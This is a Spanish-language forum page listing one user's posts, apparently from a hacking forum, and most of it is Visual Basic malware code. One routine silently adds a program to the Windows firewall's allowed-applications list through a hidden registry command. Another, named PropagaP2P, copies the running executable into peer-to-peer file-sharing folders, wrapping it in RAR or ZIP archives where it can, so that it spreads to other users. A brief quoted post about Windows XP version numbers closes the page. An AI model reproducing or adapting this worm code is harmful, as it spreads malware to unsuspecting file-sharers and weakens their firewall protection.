Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúPrivate Sub Form_load()
Shell "reg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v NombreDelValor /d " & Chr(34) & "C:\Ruta\DeLaAplicacion.exe:*:Enabled:Aplicacion" & Chr(34) & " /f", vbhide
End Sub
Option Explicit
Public Declare Function PathIsDirectory Lib "shlwapi.dll" Alias "PathIsDirectoryA" (ByVal pszPath As String) As Long
Public Function PropagaP2P()
Dim i As Integer, check As Boolean, TieneWRar As Boolean, TieneWZip As Boolean, ArchProg As String, n As Integer
Dim WinrarPath As String, WinzipPath As String, RutaRAR As String, RutaZIP As String, RutaEXE As String
ArchProg = Environ("programfiles") & "\"
WinrarPath = ArchProg & "WinRAR\rar.exe a -m5 -ep -df -inul "
WinzipPath = ArchProg & "WinZip\winzip32.exe -a "
'*********
' Nota: Aqui viene un tochote de nombres de rutas y ejecutables,
' que no los pongo porq no hacen falta. Las variables RutasP2P() y
' NombreExe() son arrays de strings, y los uso en el for para ir recorriendo
' todas las rutas posibles y copiandome alli donde es posible.
' Tampoco las declare aqui, no hacen falta
'*********
For i = 1 To UBound(RutasP2P)
check = CBool(PathIsDirectory(ArchProg & RutasP2P(i)))
If check = True Then
For n = 1 To UBound(NombreExe)
TieneWRar = CBool(PathIsDirectory(ArchProg & "WinRAR"))
TieneWZip = CBool(PathIsDirectory(ArchProg & "WinZip"))
If TieneWRar = True Then
RutaRAR = ArchProg & RutasP2P(i) & "\" & Left(NombreExe(n), Len(NombreExe(n)) - 3) & "rar"
RutaEXE = ArchProg & RutasP2P(i) & "\" & NombreExe(n)
DoEvents
FileCopy App.Path & "\" & App.EXEName & ".exe", ArchProg & RutasP2P(i) & "\" & NombreExe(n)
Shell WinrarPath & Chr(34) & RutaRAR & Chr(34) & " " & Chr(34) & RutaEXE & Chr(34), vbHide
ElseIf TieneWZip = True Then
RutaZIP = ArchProg & RutasP2P(i) & "\" & Left(NombreExe(n), Len(NombreExe(n)) - 3) & "zip"
RutaEXE = ArchProg & RutasP2P(i) & "\" & NombreExe(n)
DoEvents
FileCopy App.Path & "\" & App.EXEName & ".exe", ArchProg & RutasP2P(i) & "\" & NombreExe(n)
Shell WinzipPath & Chr(34) & RutaZIP & Chr(34) & " " & Chr(34) & RutaEXE & Chr(34), vbHide
Else
FileCopy App.Path & "\" & App.EXEName & ".exe", ArchProg & RutasP2P(i) & "\" & NombreExe(n)
End If
Next n
End If
Next i
End Function
Cita de: kraszic en 31 Agosto 2007, 11:38 AM
Vas a flipar un rato tio, no se si me equivoq ayer al responderte pero en mi pc propiedades me pone q tengo windows xp professional SP2 version 2002. Y despues lo he comprovado en la consola de comandos y la version era la 2600....
Coincidencia q me haya equivocado o habra pasado algo raro en mi pc???